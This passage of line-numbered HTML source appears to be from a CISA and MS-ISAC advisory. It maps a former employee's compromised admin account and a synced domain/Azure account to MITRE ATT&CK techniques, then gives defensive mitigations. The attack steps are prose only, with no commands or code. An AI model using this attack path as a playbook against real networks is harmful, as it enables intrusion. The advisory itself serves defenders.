  2778. &lt;li&gt;&lt;code&gt;USER2&lt;/code&gt; authenticated to twelve services. &lt;strong&gt;Note: &lt;/strong&gt;This account had administrative privileges to both the on-premises network and Azure tenant.&lt;/li&gt;
  2779. &lt;/ul&gt;
  2780. &lt;h3&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  2781. &lt;p&gt;See Tables 2-9 for all referenced&amp;nbsp;threat actor’s tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  2782. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2783. &lt;caption&gt;&lt;em&gt;Table 2: Reconnaissance&lt;/em&gt;&lt;/caption&gt;
  2784. &lt;thead&gt;
  2785. &lt;tr&gt;
  2786. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2787. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2788. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2789. &lt;/tr&gt;
  2790. &lt;/thead&gt;
  2791. &lt;tbody&gt;
  2792. &lt;tr&gt;
  2793. &lt;td&gt;
  2794. &lt;p&gt;Gather Victim Identity Information: Credentials&lt;/p&gt;
  2795. &lt;/td&gt;
  2796. &lt;td&gt;
  2797. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1589/001/" title="Gather Victim Identity Information: Credentials"&gt;T1589.001&lt;/a&gt;&lt;/p&gt;
  2798. &lt;/td&gt;
  2799. &lt;td&gt;
  2800. &lt;p&gt;The actor likely gathered &lt;code&gt;USER1&lt;/code&gt; account credentials in a data breach where account information appeared in publicly available channels.&lt;/p&gt;
  2801. &lt;/td&gt;
  2802. &lt;/tr&gt;
  2803. &lt;/tbody&gt;
  2804. &lt;/table&gt;
  2805. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2806. &lt;caption&gt;&lt;em&gt;Table 3: Initial Access&lt;/em&gt;&lt;/caption&gt;
  2807. &lt;thead&gt;
  2808. &lt;tr&gt;
  2809. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2810. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2811. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2812. &lt;/tr&gt;
  2813. &lt;/thead&gt;
  2814. &lt;tbody&gt;
  2815. &lt;tr&gt;
  2816. &lt;td&gt;
  2817. &lt;p&gt;Valid Accounts: Domain Accounts&lt;/p&gt;
  2818. &lt;/td&gt;
  2819. &lt;td&gt;
  2820. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/002/" title="Valid Accounts: Domain Accounts"&gt;T1078.002&lt;/a&gt;&lt;/p&gt;
  2821. &lt;/td&gt;
  2822. &lt;td&gt;
  2823. &lt;p&gt;The actor gained initial access through the compromised account of a former employee with administrative privileges (&lt;code&gt;USER1&lt;/code&gt;). The employee’s account was not immediately disabled after their departure.&lt;/p&gt;
  2824. &lt;/td&gt;
  2825. &lt;/tr&gt;
  2826. &lt;/tbody&gt;
  2827. &lt;/table&gt;
  2828. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2829. &lt;caption&gt;&lt;em&gt;Table 4: Persistence&lt;/em&gt;&lt;/caption&gt;
  2830. &lt;thead&gt;
  2831. &lt;tr&gt;
  2832. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2833. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2834. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2835. &lt;/tr&gt;
  2836. &lt;/thead&gt;
  2837. &lt;tbody&gt;
  2838. &lt;tr&gt;
  2839. &lt;td&gt;
  2840. &lt;p&gt;External Remote Services&lt;/p&gt;
  2841. &lt;/td&gt;
  2842. &lt;td&gt;
  2843. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;&lt;/p&gt;
  2844. &lt;/td&gt;
  2845. &lt;td&gt;
  2846. &lt;p&gt;The actor connected a VM via the victim’s VPN to blend in with legitimate traffic to evade detection.&lt;/p&gt;
  2847. &lt;/td&gt;
  2848. &lt;/tr&gt;
  2849. &lt;/tbody&gt;
  2850. &lt;/table&gt;
  2851. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2852. &lt;caption&gt;&lt;em&gt;Table 5: Privilege Escalation&lt;/em&gt;&lt;/caption&gt;
  2853. &lt;thead&gt;
  2854. &lt;tr&gt;
  2855. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2856. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2857. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2858. &lt;/tr&gt;
  2859. &lt;/thead&gt;
  2860. &lt;tbody&gt;
  2861. &lt;tr&gt;
  2862. &lt;td&gt;
  2863. &lt;p&gt;Valid Accounts: Domain Accounts&lt;/p&gt;
  2864. &lt;/td&gt;
  2865. &lt;td&gt;
  2866. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/002/" title="Valid Accounts: Domain Accounts"&gt;T1078.002&lt;/a&gt;&lt;/p&gt;
  2867. &lt;/td&gt;
  2868. &lt;td&gt;
  2869. &lt;p&gt;The actor authenticated to multiple services from a compromised Global Domain Administrator account (&lt;code&gt;USER2&lt;/code&gt;). The actor also authenticated to the Common Internet File Service (CIFS) on various endpoints.&lt;/p&gt;
  2870. &lt;/td&gt;
  2871. &lt;/tr&gt;
  2872. &lt;tr&gt;
  2873. &lt;td&gt;
  2874. &lt;p&gt;Valid Accounts: Cloud Accounts&lt;/p&gt;
  2875. &lt;/td&gt;
  2876. &lt;td&gt;
  2877. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/004/" title="Valid Accounts: Cloud Accounts"&gt;T1078.004&lt;/a&gt;&lt;/p&gt;
  2878. &lt;/td&gt;
  2879. &lt;td&gt;
  2880. &lt;p&gt;The actor used a compromised account (&lt;code&gt;USER2&lt;/code&gt;) which was synced to both the on-premises AD and Azure AD, thus enabling administrative privileges to both the on-premises network and Azure tenant.&lt;/p&gt;
  2881. &lt;/td&gt;
  2882. &lt;/tr&gt;
  2883. &lt;/tbody&gt;
  2884. &lt;/table&gt;
  2885. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2886. &lt;caption&gt;&lt;em&gt;Table 6: Credential Access&lt;/em&gt;&lt;/caption&gt;
  2887. &lt;thead&gt;
  2888. &lt;tr&gt;
  2889. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2890. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2891. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2892. &lt;/tr&gt;
  2893. &lt;/thead&gt;
  2894. &lt;tbody&gt;
  2895. &lt;tr&gt;
  2896. &lt;td&gt;
  2897. &lt;p&gt;Unsecured Credentials: Credentials in Files&lt;/p&gt;
  2898. &lt;/td&gt;
  2899. &lt;td&gt;
  2900. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/001/" title="Unsecured Credentials: Credentials in Files"&gt;T1552.001&lt;/a&gt;&lt;/p&gt;
  2901. &lt;/td&gt;
  2902. &lt;td&gt;
  2903. &lt;p&gt;The actor likely obtained &lt;code&gt;USER2&lt;/code&gt; account credentials from the virtualized SharePoint server where they were locally stored.&lt;/p&gt;
  2904. &lt;/td&gt;
  2905. &lt;/tr&gt;
  2906. &lt;/tbody&gt;
  2907. &lt;/table&gt;
  2908. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2909. &lt;caption&gt;&lt;em&gt;Table 7: Discovery&lt;/em&gt;&lt;/caption&gt;
  2910. &lt;thead&gt;
  2911. &lt;tr&gt;
  2912. &lt;td&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/td&gt;
  2913. &lt;td&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/td&gt;
  2914. &lt;td&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/td&gt;
  2915. &lt;/tr&gt;
  2916. &lt;/thead&gt;
  2917. &lt;tbody&gt;
  2918. &lt;tr&gt;
  2919. &lt;td&gt;
  2920. &lt;p&gt;Account Discovery: Domain Account&lt;/p&gt;
  2921. &lt;/td&gt;
  2922. &lt;td&gt;
  2923. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1087/002/" title="Account Discovery: Domain Account"&gt;T1087.002&lt;/a&gt;&lt;/p&gt;
  2924. &lt;/td&gt;
  2925. &lt;td&gt;
  2926. &lt;p&gt;Through the VM connection, the actor executed LDAP queries of the AD.&lt;/p&gt;
  2927. &lt;/td&gt;
  2928. &lt;/tr&gt;
  2929. &lt;tr&gt;
  2930. &lt;td&gt;
  2931. &lt;p&gt;Remote System Discovery&lt;/p&gt;
  2932. &lt;/td&gt;
  2933. &lt;td&gt;
  2934. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1018/" title="Remote System Discovery"&gt;T1018&lt;/a&gt;&lt;/p&gt;
  2935. &lt;/td&gt;
  2936. &lt;td&gt;
  2937. &lt;p&gt;Through the VM connection, the actor executed LDAP queries to collect user and host information.&lt;/p&gt;
  2938. &lt;/td&gt;
  2939. &lt;/tr&gt;
  2940. &lt;tr&gt;
  2941. &lt;td&gt;
  2942. &lt;p&gt;Domain Trust Discovery&lt;/p&gt;
  2943. &lt;/td&gt;
  2944. &lt;td&gt;
  2945. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1482/" title="Domain Trust Discovery"&gt;T1482&lt;/a&gt;&lt;/p&gt;
  2946. &lt;/td&gt;
  2947. &lt;td&gt;
  2948. &lt;p&gt;Through the VM connection, the actor executed LDAP queries to collect trust relationship information.&lt;/p&gt;
  2949. &lt;/td&gt;
  2950. &lt;/tr&gt;
  2951. &lt;tr&gt;
  2952. &lt;td&gt;
  2953. &lt;p&gt;File and Directory Discovery&lt;/p&gt;
  2954. &lt;/td&gt;
  2955. &lt;td&gt;
  2956. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1083/" title="File and Directory Discovery"&gt;T1083&lt;/a&gt;&lt;/p&gt;
  2957. &lt;/td&gt;
  2958. &lt;td&gt;
  2959. &lt;p&gt;The actor authenticated to the CIFS on various endpoints likely for the purpose of file, folder, and directory discovery.&lt;/p&gt;
  2960. &lt;/td&gt;
  2961. &lt;/tr&gt;
  2962. &lt;tr&gt;
  2963. &lt;td&gt;
  2964. &lt;p&gt;Network Service Discovery&lt;/p&gt;
  2965. &lt;/td&gt;
  2966. &lt;td&gt;
  2967. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1046/" title="Network Service Discovery"&gt;T1046&lt;/a&gt;&lt;/p&gt;
  2968. &lt;/td&gt;
  2969. &lt;td&gt;
  2970. &lt;p&gt;The actor used the compromised &lt;code&gt;USER1&lt;/code&gt; account to authenticate to four services, presumably for the purpose of network and service discovery.&lt;/p&gt;
  2971. &lt;/td&gt;
  2972. &lt;/tr&gt;
  2973. &lt;/tbody&gt;
  2974. &lt;/table&gt;
  2975. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  2976. &lt;caption&gt;&lt;em&gt;Table 8: Lateral Movement&lt;/em&gt;&lt;/caption&gt;
  2977. &lt;thead&gt;
  2978. &lt;tr&gt;
  2979. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  2980. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  2981. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  2982. &lt;/tr&gt;
  2983. &lt;/thead&gt;
  2984. &lt;tbody&gt;
  2985. &lt;tr&gt;
  2986. &lt;td&gt;
  2987. &lt;p&gt;Remote Services&lt;/p&gt;
  2988. &lt;/td&gt;
  2989. &lt;td&gt;
  2990. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/" title="Remote Services"&gt;T1021&lt;/a&gt;&lt;/p&gt;
  2991. &lt;/td&gt;
  2992. &lt;td&gt;
  2993. &lt;p&gt;The actor connected from an unknown VM and authenticated to multiple services via the &lt;code&gt;USER1&lt;/code&gt; account.&lt;/p&gt;
  2994. &lt;/td&gt;
  2995. &lt;/tr&gt;
  2996. &lt;tr&gt;
  2997. &lt;td&gt;
  2998. &lt;p&gt;Remote Services: Cloud Services&lt;/p&gt;
  2999. &lt;/td&gt;
  3000. &lt;td&gt;
  3001. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/007/" title="Remote Services: Cloud Services"&gt;T1021.007&lt;/a&gt;&lt;/p&gt;
  3002. &lt;/td&gt;
  3003. &lt;td&gt;
  3004. &lt;p&gt;The actor used the &lt;code&gt;USER2&lt;/code&gt; account, which granted access to the Azure AD, as well as the on-premises AD.&lt;/p&gt;
  3005. &lt;/td&gt;
  3006. &lt;/tr&gt;
  3007. &lt;tr&gt;
  3008. &lt;td&gt;
  3009. &lt;p&gt;Remote Services: SMB/Windows Admin Shares&lt;/p&gt;
  3010. &lt;/td&gt;
  3011. &lt;td&gt;
  3012. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1021/002/" title="Remote Services: SMB/Windows Admin Shares"&gt;T1021.002&lt;/a&gt;&lt;/p&gt;
  3013. &lt;/td&gt;
  3014. &lt;td&gt;
  3015. &lt;p&gt;The actor used compromised accounts to interact with a remote network share using Server Message Block.&lt;/p&gt;
  3016. &lt;/td&gt;
  3017. &lt;/tr&gt;
  3018. &lt;/tbody&gt;
  3019. &lt;/table&gt;
  3020. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  3021. &lt;caption&gt;&lt;em&gt;Table 9: Collection&lt;/em&gt;&lt;/caption&gt;
  3022. &lt;thead&gt;
  3023. &lt;tr&gt;
  3024. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  3025. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  3026. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  3027. &lt;/tr&gt;
  3028. &lt;/thead&gt;
  3029. &lt;tbody&gt;
  3030. &lt;tr&gt;
  3031. &lt;td&gt;
  3032. &lt;p&gt;Data from Information Repositories: SharePoint&lt;/p&gt;
  3033. &lt;/td&gt;
  3034. &lt;td&gt;
  3035. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1213/002/" title="Data from Information Repositories: SharePoint"&gt;T1213.002&lt;/a&gt;&lt;/p&gt;
  3036. &lt;/td&gt;
  3037. &lt;td&gt;
  3038. &lt;p&gt;The actor likely obtained the &lt;code&gt;USER2&lt;/code&gt; account credentials from the virtualized SharePoint server managed by &lt;code&gt;USER1&lt;/code&gt;.&lt;/p&gt;
  3039. &lt;/td&gt;
  3040. &lt;/tr&gt;
  3041. &lt;/tbody&gt;
  3042. &lt;/table&gt;
  3043. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  3044. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST), which apply to all critical infrastructure organizations and network defenders. The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  3045. &lt;h4&gt;&lt;strong&gt;Secure and Monitor Administrator Accounts&lt;/strong&gt;&lt;/h4&gt;
  3046. &lt;p&gt;The threat actor gained access to the network via compromised administrator accounts that did not have MFA enabled. The compromised &lt;code&gt;USER2&lt;/code&gt; Global Domain Administrator account could have enabled the threat actor to move laterally from the on-premises environment to the Azure tenant. In response to the incident, the victim organization removed administrator privileges for &lt;code&gt;USER2&lt;/code&gt;. Additionally, the victim organization disabled unnecessary administrator accounts and enabled MFA for all administrator accounts. To prevent similar compromises, CISA and MS-ISAC recommend the following:&lt;/p&gt;
  3047. &lt;ul&gt;
  3048. &lt;li&gt;&lt;strong&gt;Review current administrator accounts&lt;/strong&gt; to determine their necessity and only maintain administrator accounts that are essential for network management. This will reduce the attack surface and focus efforts on the security and monitoring of necessary accounts.&lt;/li&gt;
  3049. &lt;li&gt;&lt;strong&gt;Restrict the use of multiple administrator accounts&lt;/strong&gt; for one user.&lt;/li&gt;
  3050. &lt;li&gt;&lt;strong&gt;Create separate administrator accounts&lt;/strong&gt; for on-premises and Azure environments to segment access.&lt;/li&gt;
  3051. &lt;li&gt;&lt;strong&gt;Implement the principle of least privilege&lt;/strong&gt; to decrease threat actor’s ability to access key network resources. Enable just-in-time and just enough access for administrator accounts to elevate the minimum necessary privileges for a limited time to complete tasks.&lt;/li&gt;
  3052. &lt;li&gt;&lt;strong&gt;Use phishing-resistant multifactor authentication (MFA) &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report"&gt;CPG 2.H&lt;/a&gt;] (e.g., security tokens) for remote access and access to any sensitive data repositories. Implement phishing-resistant MFA for as many services as possible—particularly for webmail and VPNs—for accounts that access critical systems and privileged accounts that manage backups.&lt;strong&gt; &lt;/strong&gt;MFA should also be used for remote logins [&lt;a href="https://attack.mitre.org/versions/v14/mitigations/M1032/" title="Multi-factor Authentication"&gt;M1032&lt;/a&gt;]. For additional guidance on secure MFA configurations, visit CISA’s &lt;a href="https://www.cisa.gov/MFA" title="More than a Password"&gt;More than a Password&lt;/a&gt; webpage and read CISA’s &lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;Implementing Phishing-Resistant MFA&lt;/a&gt; fact sheet.&lt;/li&gt;
  3053. &lt;/ul&gt;
  3054. &lt;h4&gt;&lt;strong&gt;Reduce Attack Surface&lt;/strong&gt;&lt;/h4&gt;
  3055. &lt;p&gt;Unnecessary accounts, software, and services in the network create additional vectors for a threat actor to compromise. CISA and MS-ISAC recommend the following:&lt;/p&gt;
  3056. &lt;ul&gt;
  3057. &lt;li&gt;&lt;strong&gt;Establish policy and procedure for the prompt removal of unnecessary accounts and groups&lt;/strong&gt; from the enterprise, especially privileged accounts. Organizations should implement a robust and continuous user management process to ensure accounts of offboarded employees are removed and can no longer access the network.&lt;/li&gt;
  3058. &lt;li&gt;&lt;strong&gt;Maintain a robust asset management policy&lt;/strong&gt; through comprehensive documentation of assets, tracking current version information to maintain awareness of outdated software, and mapping assets to business and critical functions.
  3059. &lt;ul&gt;
  3060. &lt;li&gt;Determine the need and functionality of assets that require public internet exposure [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report"&gt;CPG 1.A&lt;/a&gt;].&lt;/li&gt;
  3061. &lt;/ul&gt;
  3062. &lt;/li&gt;
  3063. &lt;li&gt;&lt;strong&gt;Follow a routine patching cycle &lt;/strong&gt;for all operating systems, applications, and software (including all third-party software) to mitigate the potential for exploitation.&lt;/li&gt;
  3064. &lt;li&gt;&lt;strong&gt;Restrict personal devices from connecting to the network&lt;/strong&gt;. Personal devices are not subject to the same group policies and security measures as domain joined devices.&lt;/li&gt;
  3065. &lt;/ul&gt;
  3066. &lt;h4&gt;&lt;strong&gt;Evaluate Tenant Settings&lt;/strong&gt;&lt;/h4&gt;
  3067. &lt;p&gt;By default, in Azure AD all users can register and manage all aspects of applications they create. Users can also determine and approve what organizational data and services the application can access. These default settings can enable a threat actor to access sensitive information and move laterally in the network. In addition, users who create an Azure AD automatically become the Global Administrator for that tenant. This could allow a threat actor to escalate privileges to execute malicious actions. CISA and MS-ISAC recommend the following:&lt;/p&gt;
  3068. &lt;ul&gt;
  3069. &lt;li&gt;&lt;strong&gt;Evaluate current user permissions&lt;/strong&gt; in the Azure tenant to restrict potentially harmful permissions including:
  3070. &lt;ul&gt;
  3071. &lt;li&gt;Restrict users’ ability to register applications. By default, all users in Azure AD can register and manage the applications they create and approve the data and services the application can access. If this is exploited, a threat actor can access sensitive information and move laterally in the network.&lt;/li&gt;
  3072. &lt;li&gt;Restrict non-administrators from creating tenants. Any user who creates an Azure AD automatically becomes the Global Administrator for that tenant. This creates an opportunity for a threat actor to escalate privileges to the highest privileged account.&lt;/li&gt;
  3073. &lt;li&gt;Restrict access to the Azure AD portal to administrators only. Users without administrative privileges cannot change settings, however, they can view user info, group info, device details, and user privileges. This would allow a threat actor to gather valuable information for malicious activities.&lt;/li&gt;
  3074. &lt;/ul&gt;
  3075. &lt;/li&gt;
  3076. &lt;/ul&gt;
  3077. &lt;h4&gt;&lt;strong&gt;Create a Forensically Ready Organization&lt;/strong&gt;&lt;/h4&gt;
  3078. &lt;ul&gt;
  3079. &lt;li&gt;&lt;strong&gt;Collect access- and security-focused logs&lt;/strong&gt; (e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and virtual private network) for use in both detection and incident response activities [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report"&gt;CPG 2.T&lt;/a&gt;].&lt;/li&gt;
  3080. &lt;li&gt;&lt;strong&gt;Enable complete coverage of tools&lt;/strong&gt;, including Endpoint Detection and Response (EDR), across the environment for thorough analysis of anomalous activity and remediation of potential vulnerabilities.&lt;/li&gt;
  3081. &lt;/ul&gt;
  3082. &lt;h4&gt;&lt;strong&gt;Assess Security Configuration of Azure Environment&lt;/strong&gt;&lt;/h4&gt;
  3083. &lt;p&gt;CISA created the &lt;a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project" title="Secure Cloud and Business Applications"&gt;Secure Cloud and Business Applications (SCuBA)&lt;/a&gt; assessment tool to help Federal Civilian Executive Branch (FCEB) agencies to verify that a M365 tenant configuration conforms to a minimal viable secure configuration baseline. Although the SCuBA assessment tool was developed for FCEB, other organizations can benefit from its output. CISA and MS-ISAC recommend the following:&lt;/p&gt;
  3084. &lt;ul&gt;
  3085. &lt;li&gt;&lt;strong&gt;Use tools that identify attack paths&lt;/strong&gt;. This will enable defenders to identify common attack paths used by threat actors and shut them down before they are exploited.&lt;/li&gt;
  3086. &lt;li&gt;&lt;strong&gt;Review the security recommendations list provided by Microsoft 365 Defender&lt;/strong&gt;. Focus remediation on critical vulnerabilities on endpoints that are essential to mission execution and contain sensitive data.&lt;/li&gt;
  3087. &lt;/ul&gt;
  3088. &lt;h4&gt;&lt;strong&gt;Evaluate Conditional Access Policies&lt;/strong&gt;&lt;/h4&gt;
  3089. &lt;p&gt;Conditional access policies require users who want to access a resource to complete an action. Conditional access policies also account for common signals, such as user or group memberships, IP location information, device, application, and risky sign-in behavior identified through integration with Azure AD Identity Protection.&lt;/p&gt;
  3090. &lt;ul&gt;
  3091. &lt;li&gt;&lt;strong&gt;Review current conditional access policies &lt;/strong&gt;to determine if changes are necessary.&lt;/li&gt;
  3092. &lt;/ul&gt;
  3093. &lt;h4&gt;&lt;strong&gt;Reset All Passwords and Establish Secure Password Policies&lt;/strong&gt;&lt;/h4&gt;
  3094. &lt;p&gt;In response to the incident, the victim organization reset passwords for all users.&lt;/p&gt;
  3095. &lt;ul&gt;
  3096. &lt;li&gt;&lt;strong&gt;Employ strong password management&lt;/strong&gt; alongside other attribute-based information, such as device information, time of access, user history, and geolocation data. Set a password policy to require complex passwords for all users (minimum of 16 characters) and enforce this new requirement as user passwords expire [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report"&gt;CPG 2.A&lt;/a&gt;],[&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report"&gt;CPG 2.B&lt;/a&gt;],[&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report"&gt;CPG 2.C&lt;/a&gt;].&lt;/li&gt;
  3097. &lt;li&gt;&lt;strong&gt;Store credentials in a secure manner, &lt;/strong&gt;such as with a credential manager, vault, or other privileged account management solution [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="CPG Report"&gt;CPG 2.L&lt;/a&gt;].&lt;/li&gt;
  3098. &lt;li&gt;&lt;strong&gt;For products that come with default passwords,&lt;/strong&gt; ask vendors how they plan to eliminate default passwords, as highlighted in &lt;a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="Secure by Design Alert: How Manufacturers Can Protect Customers by Eliminating Default Passwords"&gt;CISA’s Secure by Design Alert: How Manufacturers Can Protect Customers by Eliminating Default Passwords&lt;/a&gt;.&lt;/li&gt;
  3099. &lt;/ul&gt;
  3100. &lt;h4&gt;&lt;strong&gt;Mitigations for Vendors&lt;/strong&gt;&lt;/h4&gt;
  3101. &lt;p&gt;CISA recommends that vendors incorporate &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;secure by design&lt;/a&gt; principles and tactics into their practices, limiting the impact of threat actor techniques and strengthening the secure posture for their customers.&lt;/p&gt;
  3102. &lt;ul&gt;
  3103. &lt;li&gt;&lt;strong&gt;Prioritize secure by default configurations,&lt;/strong&gt; such as eliminating default passwords and providing high-quality audit logs to customers with no additional configuration, at no extra charge. Secure by default configurations should be prioritized to eliminate the need for customer implementation of hardening guidance.&lt;/li&gt;
  3104. &lt;li&gt;&lt;strong&gt;Immediately identify, mitigate, and update affected products&lt;/strong&gt; that are not patched in accordance with&amp;nbsp;CISA’s&amp;nbsp;&lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;Known Exploited Vulnerabilities (KEV) catalog&lt;/a&gt;.&lt;/li&gt;
  3105. &lt;li&gt;&lt;strong&gt;Implement multifactor authentication (MFA), &lt;/strong&gt;ideally &lt;a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf" title="Implementing Phishing-Resistant MFA"&gt;phishing-resistant MFA&lt;/a&gt;, as a default (rather than opt-in) feature for all products.&lt;/li&gt;
  3106. &lt;/ul&gt;
  3107. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  3108. &lt;p&gt;In addition to applying mitigations, CISA and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  3109. &lt;p&gt;To get started:&lt;/p&gt;
  3110. &lt;ol&gt;
  3111. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see table 2-9).&lt;/li&gt;
  3112. &lt;li&gt;Align your security technologies against the technique.&lt;/li&gt;
  3113. &lt;li&gt;Test your technologies against the technique.&lt;/li&gt;
  3114. &lt;li&gt;Analyze your detection and prevention technologies’ performance.&lt;/li&gt;
  3115. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  3116. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  3117. &lt;/ol&gt;
  3118. &lt;p&gt;CISA and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  3119. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
